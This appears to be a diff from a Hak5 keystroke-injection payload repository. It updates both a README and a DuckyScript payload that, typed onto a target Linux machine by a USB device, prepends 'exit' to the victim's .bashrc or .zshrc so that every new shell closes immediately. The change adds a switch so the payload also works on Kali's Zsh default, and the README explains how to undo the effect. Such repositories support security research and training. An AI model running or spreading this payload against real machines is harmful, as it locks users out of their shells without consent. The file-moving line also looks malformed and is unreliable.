Tip from hak5peaks
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@ -16,7 +16,7 @@ The described payload aims to modify the configuration file of the default shell
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However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.
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To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `$ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `1`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
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To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `#ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `TRUE`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.
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To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.
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@ -14,7 +14,7 @@ REM - Nothing <3
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REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.
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VAR $ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX = 0
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DEFINE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX TRUE
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EXTENSION DETECT_READY
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@ -52,15 +52,15 @@ DELAY 2000
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STRINGLN echo "exit" > .tmp
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DELAY 500
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IF ($ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX == 1) THEN
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IF_DEFINED_TRUE #ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX
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STRINGLN cat .zshrc >> .tmp
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DELAY 500
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STRINGLN mv .tmp >> .zshrc
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ELSE
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ELSE_DEFINED
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STRINGLN cat .bashrc >> .tmp
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DELAY 500
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STRINGLN mv .tmp >> .bashrc
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END_IF
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END_IF_DEFINED
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DELAY 500
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